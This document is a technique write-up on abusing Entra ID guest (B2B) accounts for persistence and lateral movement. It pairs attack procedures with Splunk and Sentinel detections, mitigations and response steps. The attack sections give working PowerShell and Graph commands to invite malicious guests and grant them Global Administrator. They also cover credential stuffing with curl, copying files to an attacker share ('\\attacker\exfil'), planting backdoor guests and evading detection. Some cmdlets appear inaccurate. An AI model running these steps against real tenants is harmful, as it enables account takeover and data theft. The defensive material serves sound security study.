| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-028 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure, M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions supporting B2B collaboration, Guest users, External identities |
| Patched In | Mitigations via Conditional Access policies for guests, external collaboration restrictions, access reviews |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure External Identities abuse is an attack where an attacker exploits Azure’s guest account functionality (B2B collaboration) to gain unauthorized access to resources within an organization’s Entra ID tenant. The attacker either creates a malicious guest account, compromises an existing guest account, or abuses overly permissive guest permissions to escalate privileges, move laterally across M365 services, or maintain persistent backdoor access. Unlike regular user accounts, guest accounts often fall outside standard access controls and are less frequently audited, making them prime targets for persistence and lateral movement.
Attack Surface: Guest account provisioning, overly permissive guest role assignments, guest access to Teams, SharePoint, and OneDrive, Azure AD B2B collaboration endpoints, External collaboration settings with unrestricted domains.
Business Impact: Persistent, stealthy access to sensitive data and systems via guest accounts. Attackers can read emails, access shared documents, modify group memberships, and escalate to administrative roles without triggering typical user-account alerts. Guest accounts are often overlooked in security reviews, enabling long-term dwell time and data exfiltration.
Technical Context: Guest accounts in Entra ID are designed for external collaboration, but misconfiguration—such as allowing any external domain, not restricting guest permissions, or failing to review inactive guests—creates security gaps. Attackers exploit these gaps by creating, compromising, or escalating guest accounts to persistent backdoors.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.2 | Ensure guest user access is reviewed and restricted |
| DISA STIG | AC-2(h) | Account Management – Guest account auditing |
| CISA SCuBA | Azure.5 | Restrict external collaboration domains |
| NIST 800-53 | AC-2(7)(b) | Privileged User Access – review and control |
| GDPR | Art. 32 | Security of Processing – third-party data access controls |
| DORA | Art. 15 | Third-party risk and critical functions |
| NIS2 | Art. 21 | Guest access controls and detection |
| ISO 27001 | A.6.2.2 | Third-party access management |
| ISO 27005 | 8.2.1 | Third-party risk assessment |
Supported Platforms:
Tools & Dependencies:
PowerShell – Check External Collaboration Restrictions
# Get current B2B external collaboration settings
$policy = Get-AzADPolicy -Filter "id eq 'azure ad b2b collaboration restrictions'"
# Check if guest user access is restricted
$guestRestrictions = Get-AzADPolicy | Where-Object { $_.DisplayName -contains "guest" }
# Check guest user permissions
Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq "Guest" }
# List all guests in the tenant
Get-AzADUser -Filter "UserType eq 'Guest'" | Select-Object UserPrincipalName, CreatedDateTime, AccountEnabled
# Find guests with elevated roles
Get-AzRoleAssignment | Where-Object {
$_.ObjectType -eq "Guest" -and
($_.RoleDefinitionName -eq "Owner" -or $_.RoleDefinitionName -eq "Contributor")
}
What to Look For:
Azure Portal – Check B2B Settings:
# Teams – Find guests with channel admin rights
Get-TeamUser -GroupId "TEAM_ID" | Where-Object { $_.Role -eq "Owner" }
# SharePoint – Find guests with site collection admin rights
Get-SPOSite | ForEach-Object {
Get-SPOUser -Site $_ | Where-Object { $_.DisplayName -like "*#*" } # # indicates external user
}
# OneDrive – Check for guests with sharing permissions
Get-SPOSite -IncludePersonalSite $true |
ForEach-Object {
Get-SPOExternalUser -SiteUrl $_
}
Supported Versions: All Entra ID with B2B collaboration
Objective: Create a fake external email address that will serve as the guest account.
Command (Create attacker-controlled email):
# Use throwaway email service or attacker's own domain
# Example attacker domains:
# attacker@contoso.co (typosquatter of contoso.com)
# guest.attacker@gmail.com (appears to be a guest)
# demo.user@contractor.fake (impersonates contractor)
ATTACKER_EMAIL="malicious.guest@contractor.fake"
echo $ATTACKER_EMAIL
What This Means:
Objective: Invite the attacker-controlled email as a guest user to the organization.
Command (PowerShell – via Microsoft Graph):
# Connect to Entra ID
Connect-MgGraph -Scopes "User.Invite.All"
# Create guest invitation
$inviteParams = @{
invitedUserEmailAddress = "malicious.guest@contractor.fake"
invitedUserDisplayName = "John Smith (Contractor)"
inviteRedirectUrl = "https://myapps.microsoft.com"
sendInvitationMessage = $true
inviteAsNewExternalUser = $true
}
$invitation = Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/v1.0/invitations" `
-Body $inviteParams
Write-Output "Invitation sent to: $($invitation.invitedUserEmailAddress)"
Write-Output "Invitation link: $($invitation.inviteRedeemUrl)"
Expected Output:
Invitation sent to: malicious.guest@contractor.fake
Invitation link: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...
What This Means:
OpSec & Evasion:
sendInvitationMessage = $false to avoid email to monitored mailboxObjective: Redeem the invitation and gain access to the tenant as a guest.
Command (From attacker’s perspective):
# Attacker visits the invitation link (or simulates it via API)
# Completes Entra ID login with attacker's credentials
# Verifies email by clicking link in invitation email (if configured)
# Now attacker is authenticated as guest user in tenant
# Attacker can now access Entra ID portal
# https://portal.azure.com → Sign in as guest
Expected Output:
Guest user now appears in Entra ID:
Get-MgUser -Filter "UserType eq 'Guest'" |
Select-Object UserPrincipalName, DisplayName, CreatedDateTime
Output:
UserPrincipalName DisplayName CreatedDateTime
--- ----------- ---------------
malicious.guest_contractor.fake#EXT# John Smith (Contractor) 2026-01-10T12:00:00Z
What This Means:
OpSec & Evasion:
Objective: Elevate guest account to administrative or high-privilege role.
Command (Add guest to privileged groups):
# Find and add guest to sensitive groups
$guest = Get-MgUser -Filter "UserType eq 'Guest' and DisplayName eq 'John Smith (Contractor)'"
# Add guest to Global Admin role (via Entra ID)
New-MgRoleManagementDirectoryRoleAssignment `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-PrincipalId $guest.Id
# Alternatively, add to Azure AD role group
$adminGroup = Get-MgGroup -Filter "DisplayName eq 'IT Admins'"
New-MgGroupMember -GroupId $adminGroup.Id -DirectoryObjectId $guest.Id
# Verify privilege escalation
Get-MgDirectoryRole | ForEach-Object {
$role = $_
Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id |
Where-Object { $_.Id -eq $guest.Id } |
Select-Object @{Label="Role"; Expression={$role.DisplayName}}, @{Label="User"; Expression={$guest.DisplayName}}
}
Expected Output:
Role User
---- ----
Global Administrator John Smith (Contractor)
Exchange Administrator John Smith (Contractor)
SharePoint Administrator John Smith (Contractor)
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID with active guest collaborations
Objective: Find existing guest accounts that are active but infrequently monitored.
Command:
# List all guests with recent activity
$guests = Get-MgUser -Filter "UserType eq 'Guest'"
foreach ($guest in $guests) {
$lastActivity = Get-MgUserSignInActivity -UserId $guest.Id |
Select-Object -ExpandProperty LastSignInDateTime
if ($lastActivity -gt (Get-Date).AddDays(-30)) {
Write-Output "Active guest: $($guest.UserPrincipalName) - Last login: $lastActivity"
}
}
# Find guests with no recent activity (neglected accounts)
foreach ($guest in $guests) {
$signins = Get-MgUserSignInActivity -UserId $guest.Id |
Select-Object -ExpandProperty LastSignInDateTime
if ($signins -lt (Get-Date).AddMonths(-3)) {
Write-Output "Neglected guest: $($guest.UserPrincipalName) - No activity for >3 months"
}
}
What to Look For:
Objective: Obtain the guest user’s credentials via phishing or credential stuffing.
Command (Simulated phishing):
# Create legitimate-looking phishing email
# Subject: "Renew Your Microsoft Account Access"
# Body: "Your account will expire in 24 hours. Verify your identity: [phishing-link]"
# Attacker hosts fake Entra ID login page at attacker.com/office365-login
# Guest clicks link, enters credentials
# Attacker captures credentials
GUEST_UPN="partner@externaldomain.com"
GUEST_PASSWORD="capturedPassword123"
# Attacker now has guest credentials
Alternative – Credential Stuffing:
# If guest reuses password from previous breach
# Use breach database (HaveIBeenPwned, etc.) to find known credentials
# Attempt login with guest's email + common passwords
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
-d "username=partner@externaldomain.com" \
-d "password=Password123!" \
-d "scope=https://graph.microsoft.com/.default offline_access" \
-d "grant_type=password"
Expected Output (on successful compromise):
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"refresh_token": "0.ASsAz...",
"expires_in": 3600
}
What This Means:
Objective: Use compromised guest access to steal data and maintain persistence.
Command:
# Connect as compromised guest
Connect-MgGraph -AccessToken $accessToken
# Access shared Teams channels
Get-MgTeamChannelMessage | Export-Csv -Path "teams-messages.csv"
# Access shared SharePoint documents
Get-SPOSite | ForEach-Object {
Get-SPOFile -Site $_ | Select-Object Name, ServerRelativeUrl, TimeLastModified
}
# Copy sensitive files to attacker-controlled location
Copy-Item -Path "\\sharepoint\site\sensitive-folder" -Destination "\\attacker\exfil"
# Create a backdoor account (add another guest)
Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/v1.0/invitations" `
-Body @{
invitedUserEmailAddress = "attacker.backup@outlook.com"
invitedUserDisplayName = "Backup Guest"
inviteRedirectUrl = "https://myapps.microsoft.com"
}
OpSec & Evasion:
Supported Versions: Entra ID with Azure subscription guest access
Objective: Set up a guest account that has billing privileges in attacker’s tenant, then invite it to victim tenant.
Command (From attacker’s perspective):
# Create a Service Principal or user in attacker's Azure subscription
$attacker_subscription = "attacker-azure-sub"
Set-AzContext -SubscriptionName $attacker_subscription
# Add guest to victim's tenant with billing role
$guest_email = "attacker@attacker-domain.com"
$new_user = New-AzADUser -DisplayName "Attacker User" -UserPrincipalName $guest_email -Password $password
# Grant Billing Reader role in attacker's subscription
$subscription = Get-AzSubscription -SubscriptionName $attacker_subscription
New-AzRoleAssignment -ObjectId $new_user.Id `
-RoleDefinitionName "Billing Reader" `
-Scope "/subscriptions/$($subscription.Id)"
Objective: Send guest invitation from victim tenant.
Command:
# From victim tenant, invite the attacker's account as guest
Connect-MgGraph -Scopes "User.Invite.All"
$invite = Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/v1.0/invitations" `
-Body @{
invitedUserEmailAddress = "attacker@attacker-domain.com"
invitedUserDisplayName = "Trusted Partner"
inviteRedirectUrl = "https://portal.azure.com"
}
# Guest accepts invitation and now appears in victim tenant
Objective: Guest creates Azure subscriptions in their home tenant, then transfers them to victim tenant, retaining Owner role.
Command:
# Guest creates new Azure subscription (from attacker's home tenant)
$subscription_name = "victim-data-analysis"
$subscription = New-AzSubscription -SubscriptionName $subscription_name -OfferType "Free Trial"
# Guest now owns the subscription even after transferring to victim
# Transfer to victim tenant (requires victim admin approval)
# Guest retains full Owner rights to the subscription
# Guest can now:
# 1. Disable monitoring and logging on the subscription
# 2. Access all resources in the subscription undetected
# 3. Deploy malware or ransomware without audit trails
# 4. Bypass Conditional Access (subscription-level access often not subject to tenant policies)
What This Means:
OpSec & Evasion:
URL: https://learn.microsoft.com/en-us/azure/active-directory/external-identities/what-is-b2b
Version: Built into Entra ID
Usage: Invite external users, configure guest restrictions, manage guest access.
# Invite guest
New-MgInvitation -InvitedUserEmailAddress "guest@external.com" -InviteRedirectUrl "https://myapps.microsoft.com"
# List guests
Get-MgUser -Filter "UserType eq 'Guest'"
# Remove guest
Remove-MgUser -UserId $guest.Id
URL: https://github.com/microsoftgraph/msgraph-sdk-powershell
Version: Latest
Usage: Programmatically manage guests, groups, roles.
Install-Module Microsoft.Graph
Connect-MgGraph -Scopes "User.Invite.All", "RoleManagement.ReadWrite.Directory"
Rule Configuration:
o365:audit, azure:auditUserType, OperationName, ObjectModifiedSPL Query:
index=azure:audit OR index=o365:audit UserType=Guest
| stats earliest(timestamp) as guest_creation, latest(timestamp) as role_assignment by UserPrincipalName
| eval time_diff_minutes = round((role_assignment - guest_creation) / 60, 2)
| where time_diff_minutes <= 60 and role_assignment != ""
| table UserPrincipalName, guest_creation, role_assignment, time_diff_minutes
What This Detects:
Manual Configuration Steps:
Rule Configuration:
sharepoint:auditTargetUserOrGroupName, EventSource, OperationSPL Query:
index=sharepoint:audit UserType=Guest Operation IN ("FileDownloaded", "FileAccessed", "FileModified")
| where TargetUserOrGroupName LIKE "%sensitive%" OR TargetUserOrGroupName LIKE "%confidential%" OR TargetUserOrGroupName LIKE "%restricted%"
| stats count, latest(timestamp) as last_access by UserPrincipalName, TargetUserOrGroupName
| where count > 5
Rule Configuration:
AuditLogs, SigninLogsOperationName, TargetResources, InitiatedBy, UserTypeKQL Query:
AuditLogs
| where OperationName in ("Add member to group", "Add user to group", "Assign user to role")
and TargetResources[0].modifiedProperties[0].newValue contains "Administrator"
| join kind=inner (
AuditLogs
| where OperationName == "Invite external user"
| project InvitedUserPrincipalName = tostring(TargetResources[0].userPrincipalName), InviteTime = TimeGenerated
) on $left.TargetResources[0].userPrincipalName == $right.InvitedUserPrincipalName
| where TimeGenerated - InviteTime <= 1h
| project UserPrincipalName, InviteTime, TimeGenerated, OperationName, Role = tostring(TargetResources[0].modifiedProperties[0].newValue)
What This Detects:
Manual Configuration Steps:
Guest Account Rapid Privilege EscalationKQL Query:
CloudAppEvents
| where UserType == "Guest"
| summarize FileDownloads = countif(OperationName == "FileDownloaded"),
FilesAccessed = countif(OperationName == "FileAccessed"),
BulkSize = sum(iif(OperationName == "FileDownloaded", 10, 1)) // Estimate
| where FileDownloads > 100 or BulkSize > 1000 // Threshold for bulk data access
Alert Name: Privileged Guest User Detected
Manual Configuration Steps:
Note: Guest account activity is logged in Entra ID (cloud logs), not Windows Event Logs. See Microsoft Sentinel and Splunk sections for cloud-based detection.
Restrict External Collaboration to Trusted Domains:
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Block all external collaboration except trusted domains
$policy = Get-AzADPolicy -Filter "id eq 'azure ad b2b external collaboration restrictions'"
# Set allowed domains only
Set-AzADPolicy -DisplayName "B2B Collaboration Restrictions" `
-Definition @'
{
"B2BManagementPolicy": {
"InvitationsAllowedAndBlockedDomainsPolicy": {
"AllowedDomains": ["@microsoft.com", "@partner.com"],
"BlockedDomains": []
}
}
}
'@
Enforce MFA for Guest Users:
Manual Steps (Conditional Access):
Require MFA for Guest UsersValidate Configuration:
# Verify MFA is enforced for guests
Get-AzADMSConditionalAccessPolicy |
Where-Object { $_.DisplayName -contains "Guest" } |
Select-Object -ExpandProperty GrantControls
Implement Continuous Access Evaluation (CAE) for Guests:
Manual Steps:
Effect: Tokens are revoked immediately if guest account is disabled or suspicious activity is detected.
Require Guest Approval for Sensitive Roles:
Manual Steps (PowerShell):
# Configure PIM (Privileged Identity Management) to require approval for guest role assignments
$roleId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin role ID
# Require approval for guest assignment to Global Admin
Update-AzRoleManagementPolicyAssignment -Scope "/" -RoleId $roleId -EnableApprovalRule $true
Conduct Regular Guest Access Reviews:
Manual Steps (Azure Portal):
Validation Command:
# Get list of guests for review
Get-MgUser -Filter "UserType eq 'Guest'" -PageSize 100 |
Select-Object UserPrincipalName, DisplayName, CreatedDateTime, AccountEnabled |
Export-Csv -Path "guest-audit.csv"
Disable Guest Invitations for Regular Users:
Manual Steps:
AuditLogs (guest creation, role assignment, suspicious activities)SigninLogs (guest logins, locations, success/failure)Step 1: Immediately Revoke Guest Access
# Disable guest account
Update-MgUser -UserId $guest.Id -AccountEnabled $false
# Remove guest from all groups
$groups = Get-MgUserMemberOf -UserId $guest.Id
foreach ($group in $groups) {
Remove-MgGroupMember -GroupId $group.Id -DirectoryObjectId $guest.Id
}
# Remove guest from all roles
Get-MgDirectoryRole | ForEach-Object {
Get-MgDirectoryRoleMember -DirectoryRoleId $_.Id |
Where-Object { $_.Id -eq $guest.Id } |
ForEach-Object { Remove-MgDirectoryRoleMember -DirectoryRoleId $_.Id -DirectoryObjectId $guest.Id }
}
# Delete guest account
Remove-MgUser -UserId $guest.Id
Step 2: Audit Data Accessed by Guest
# Find all files accessed by guest
Get-MgUser -UserId $guest.Id | Get-MgUserActivity
# Get all Teams messages from guest
Get-TeamUserActivity -UserId $guest.Id
# Find all SharePoint shares involving guest
Search-SPOExternalUser -SiteUrl "https://contoso.sharepoint.com/sites/*" |
Where-Object { $_.Inviter -eq $guest.Id -or $_.User -eq $guest.Id }
Step 3: Hunt for Lateral Movement
// Sentinel: Find all resources/groups modified by the guest account
AuditLogs
| where InitiatedBy.user.userPrincipalName == "guest@external.com"
| summarize Modifications = count() by Operation, TargetResources
| where Modifications > 5
Step 4: Review and Remediate Damage
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks admin into authorizing device code, gains initial access |
| 2 | Persistence | [LM-AUTH-028] | Attacker creates or compromises guest account for backdoor access |
| 3 | Lateral Movement | [LM-AUTH-009] B2B Collaboration Abuse | Attacker uses guest account to pivot across Teams, SharePoint, OneDrive |
| 4 | Privilege Escalation | [PE-ACCTMGMT-013] SSPR Misconfiguration | Attacker uses guest account to reset admin password via SSPR |
| 5 | Impact | Collection – Data Exfiltration | Attacker exfiltrates sensitive documents and emails via guest account |
Azure External Identities Abuse is a high-risk attack leveraging guest accounts to bypass organizational controls and maintain persistent backdoor access. Attackers create malicious guest accounts, compromise legitimate ones, or abuse overly permissive guest permissions to escalate privileges and access sensitive data.
Critical Mitigations:
Detection focuses on guest account lifecycle events (creation, role assignment, access patterns) rather than individual data access alerts. Guest accounts often bypass standard user monitoring, making behavioral analytics critical for detection.